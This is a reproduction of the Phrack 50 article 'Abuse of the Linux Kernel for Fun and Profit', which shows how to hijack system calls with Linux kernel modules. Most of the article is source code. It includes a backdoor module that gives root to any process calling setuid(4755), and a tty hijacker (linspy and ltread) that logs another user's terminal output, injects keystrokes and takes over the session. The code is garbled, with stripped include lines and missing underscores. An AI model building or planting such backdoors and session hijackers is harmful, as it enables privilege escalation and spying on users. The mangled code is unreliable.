Your Ad Here
                            .oO Phrack 50 Oo.

                        Volume Seven, Issue Fifty

                                 5 of 16

               ============================================
               Abuse of the Linux Kernel for Fun and Profit
                          halflife@infonexus.com

[guild corporation]

Introduction


Loadable modules are a very useful feature in linux, as they let you load device drivers on a as-needed basis. However, there is a bad side: they make kernel hacking almost TOO easy. What happens when you can no longer trust your own kernel...? This article describes a simple way kernel modules can be easily abused.

System calls


System calls. These are the lowest level of functions available, and are implemented within the kernel. In this article, we will discuss how they can be abused to let us write a very simplistic tty hijacker/monitor. All code was written and designed for linux machines, and will not compile on anything else, since we are mucking with the kernel.

TTY Hijackers, such as tap and ttywatcher are common on Solaris,

SunOS, and other systems with STREAMS, but Linux thus far has not had a useful tty hijacker (note: I don't consider pty based code such as telnetsnoop to be a hijacker, nor very useful since you must make preparations ahead of time to monitor users).

Since linux currently lacks STREAMS (LinSTREAMS appears to be dead), we must come up with a alternative way to monitor the stream. Stuffing keystrokes is not a problem, since we can use the TIOCSTI ioctl to stuff keystrokes into the input stream. The solution, of course, is to redirect the write(2) system call to our own code which logs the contents of the write if it is directed at our tty; we can then call the real write(2) system call.

Clearly, a device driver is going to be the best way to do things. We can read from the device to get the data that has been logged, and add a ioctl or two in order to tell our code exactly what tty we want to log.

Redirection of system calls


System calls are pretty easy to redirect to our own code. It works in principle like DOS terminate and stay resident code. We save the old address in a variable, then set a new one pointing to our code. In our code, we do our thing, and then call the original code when finished.

A very simple example of this is contained in hackedsetuid.c, which is a simple loadable module that you can insmod, and once it is inserted into the kernel, a setuid(4755) will set your uid/euid/gid/egid to 0. (See the appended file for all the code.) The addresses for the syscalls are contained in the syscall_table array. It is relatively easy to redirect syscalls to point to our code. Once we have done this, many things are possible...

Linspy notes


This module is VERY easy to spot, all you have to do is cat /proc/modules and it shows up as plain as day. Things can be done to fix this, but I have no intention on doing them.

To use linspy, you need to create an ltap device, the major should be 40 and the minor should be 0. After you do that, run make and then insmod the linspy device. Once it is inserted, you can run ltread [tty] and if all goes well, you should see stuff that is output to the user's screen. If all does not go well ... well, I shall leave that to your nightmares.

The Code [use the included extract.c utility to unarchive the code]

<++> linspy/Makefile CONFIGKERNELD=-DCONFIGKERNELD CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD) CC=gcc

this is the name of the device you have (or will) made with mknod

DN = '-DDEVICE_NAME="/dev/ltap"'

1.2.x need this to compile, comment out on 1.3+ kernels

V = #-DNEED_VERSION MODCFLAGS := $(V) $(CFLAGS) -DMODULE -DKERNEL -DLINUX

all: linspy ltread setuid

linspy: linspy.c /usr/include/linux/version.h $(CC) $(MODCFLAGS) -c linspy.c

ltread:
$(CC) $(DN) -o ltread ltread.c

clean:
rm *.o ltread

setuid: hackedsetuid.c /usr/include/linux/version.h $(CC) $(MODCFLAGS) -c hackedsetuid.c

<--> end Makefile <++> linspy/hacked_setuid.c int errno;

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

ifdef NEED_VERSION

static char kernelversion[] = UTSRELEASE;

endif

static inline syscall1(int, setuid, uidt, uid); extern void *syscalltable[]; void *originalsetuid; extern int hackedsetuid(uidt uid) { int i;
if(uid == 4755) { current->uid = current->euid = current->gid = current->egid = 0; return 0; } sys
calltable[SYSsetuid] = originalsetuid; i = setuid(uid); syscalltable[SYSsetuid] = hackedsetuid; if(i == -1) return -errno; else return i; } int initmodule(void) { originalsetuid = syscalltable[SYSsetuid]; syscalltable[SYSsetuid] = hackedsetuid; return 0; } void cleanupmodule(void) { syscalltable[SYSsetuid] = original_setuid; }
<++> linspy/linspy.c int errno;

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

include

ifdef MODULE

include

include

endif

include

include

include

include

include

include

include

include

include

/* set the version information, if needed */

ifdef NEED_VERSION

static char kernelversion[] = UTSRELEASE;

endif

ifndef MIN

define MIN(a,b) ((a) < (b) ? (a) : (b))

endif

/* ring buffer info */

define BUFFERSZ 2048

char buffer[BUFFERSZ]; int queuehead = 0; int queuetail = 0;

/* takenover indicates if the victim can see any output */ int takenover = 0;

static inline syscall3(int, write, int, fd, char *, buf, sizet, count); extern void *syscalltable[];

/* device info for the linspy device, and the device we are watching */ static int linspymajor = 40; int ttyminor = -1; int tty_major = 4;

/* address of original write(2) syscall */ void *original_write;

void savewrite(char *, sizet);

int outqueue(void) { int c; if(queuehead == queuetail) return -1; c = buffer[queuehead]; queuehead++; if(queuehead == BUFFERSZ) queue_head=0; return c; }

int inqueue(int ch) { if((queuetail + 1) == queuehead) return 0; buffer[queuetail] = ch; queuetail++; if(queuetail == BUFFERSZ) queue_tail=0; return 1; }

/* check if it is the tty we are looking for */ int isfdtty(int fd) { struct file *f=NULL; struct inode *inode=NULL; int mymajor=0; int myminor=0;

if(fd >= NROPEN || !(f=current->files->fd[fd]) || !(inode=f->finode)) return 0; mymajor = major(inode->irdev); myminor = minor(inode->irdev); if(mymajor != ttymajor) return 0; if(myminor != ttyminor) return 0; return 1; }

/* this is the new write(2) replacement call */ extern int newwrite(int fd, char *buf, sizet count) { int r; if(isfdtty(fd)) { if(count > 0) savewrite(buf, count); if(takenover) return count; } syscalltable[SYSwrite] = originalwrite; r = write(fd, buf, count); syscalltable[SYSwrite] = newwrite; if(r == -1) return -errno; else return r; }

/* save data from the write(2) call into the buffer */ void savewrite(char *buf, sizet count) { int i; for(i=0;i < count;i++) inqueue(getfs_byte(buf+i)); }

/* read from the ltap device - return data from queue */ static int linspyread(struct inode *in, struct file *fi, char *buf, int count) { int i; int c; int cnt=0; if(current->euid != 0) return 0; for(i=0;i < count;i++) { c = outqueue(); if(c < 0) break; cnt++; putfsbyte(c, buf+i); } return cnt; }

/* open the ltap device */ static int linspyopen(struct inode *in, struct file *fi) { if(current->euid != 0) return -EIO; MODINCUSECOUNT; return 0; }

/* close the ltap device */ static void linspyclose(struct inode *in, struct file *fi) { takenover=0; ttyminor = -1; MODDECUSECOUNT; }

/* some ioctl operations */ static int linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args) {

define LS_SETMAJOR 0

define LS_SETMINOR 1

define LS_FLUSHBUF 2

define LS_TOGGLE 3

if(current->euid != 0) return -EIO; switch(cmd) { case LSSETMAJOR: ttymajor = args; queuehead = 0; queuetail = 0; break; case LSSETMINOR: ttyminor = args; queuehead = 0; queuetail = 0; break; case LSFLUSHBUF: queuehead=0; queuetail=0; break; case LSTOGGLE: if(takenover) takenover=0; else taken_over=1; break; default: return 1; } return 0; }

static struct fileoperations linspy = { NULL, linspyread, NULL, NULL, NULL, linspyioctl, NULL, linspyopen, linspy_close, NULL };

/* init the loadable module */ int initmodule(void) { originalwrite = syscalltable[SYSwrite]; syscalltable[SYSwrite] = newwrite; if(registerchrdev(linspy_major, "linspy", &linspy)) return -EIO; return 0; }

/* cleanup module before being removed */ void cleanupmodule(void) { syscalltable[SYSwrite] = originalwrite; unregisterchrdev(linspy_major, "linspy"); } <--> end linspy.c <++> linspy/ltread.c

include

include

include

include

include

include

include

include

include

include

struct termios save_termios; int ttysavefd = -1; int fd;

ifndef DEVICE_NAME

define DEVICE_NAME "/dev/ltap"

endif

define LS_SETMAJOR 0

define LS_SETMINOR 1

define LS_FLUSHBUF 2

define LS_TOGGLE 3

void stuff_keystroke(int fd, char key) { ioctl(fd, TIOCSTI, &key); }

int ttycbreak(int fd) { struct termios buff; if(tcgetattr(fd, &savetermios) < 0) return -1; buff = savetermios; buff.clflag &= ~(ECHO | ICANON); buff.ccc[VMIN] = 0; buff.ccc[VTIME] = 0; if(tcsetattr(fd, TCSAFLUSH, &buff) < 0) return -1; ttysavefd = fd; return 0; }

char *get_device(char *basedevice) { static char devname[1024]; int fd;

if(strlen(basedevice) > 128) return NULL; if(basedevice[0] == '/') strcpy(devname, basedevice); else sprintf(devname, "/dev/%s", basedevice); fd = open(devname, O_RDONLY); if(fd < 0) return NULL; if(!isatty(fd)) return NULL; close(fd); return devname; }

int do_ioctl(char *device) { struct stat mystat;

if(stat(device, &mystat) < 0) return -1; fd = open(DEVICENAME, ORDONLY); if(fd < 0) return -1; if(ioctl(fd, LSSETMAJOR, major(mystat.strdev)) < 0) return -1; if(ioctl(fd, LSSETMINOR, minor(mystat.strdev)) < 0) return -1; }

void sigint_handler(int s) { exit(s); }

void cleanupatexit(void) { puts(" "); if(ttysavefd >= 0) tcsetattr(ttysavefd, TCSAFLUSH, &savetermios); }

main(int argc, char **argv) { int my_tty; char *devname; unsigned char ch; int i;

if(argc != 2) { fprintf(stderr, "%s ttyname\n", argv[0]); fprintf(stderr, "ttyname should NOT be your current tty!\n"); exit(0); } devname = getdevice(argv[1]); if(devname == NULL) { perror("getdevice"); exit(0); } if(ttycbreak(0) < 0) { perror("ttycbreak"); exit(0); } atexit(cleanupatexit); signal(SIGINT, siginthandler); if(doioctl(devname) < 0) { perror("doioctl"); exit(0); } mytty = open(devname, ORDWR); if(mytty == -1) exit(0); setvbuf(stdout, NULL, _IONBF, 0); printf("[now monitoring session]\n"); while(1) { i = read(0, &ch, 1); if(i > 0) { if(ch == 24) { ioctl(fd, LSTOGGLE, 0); printf("[Takeover mode toggled]\n"); } else stuffkeystroke(mytty, ch); } i = read(fd, &ch, 1); if(i > 0) putchar(ch); } } <--> end ltread.c

EOF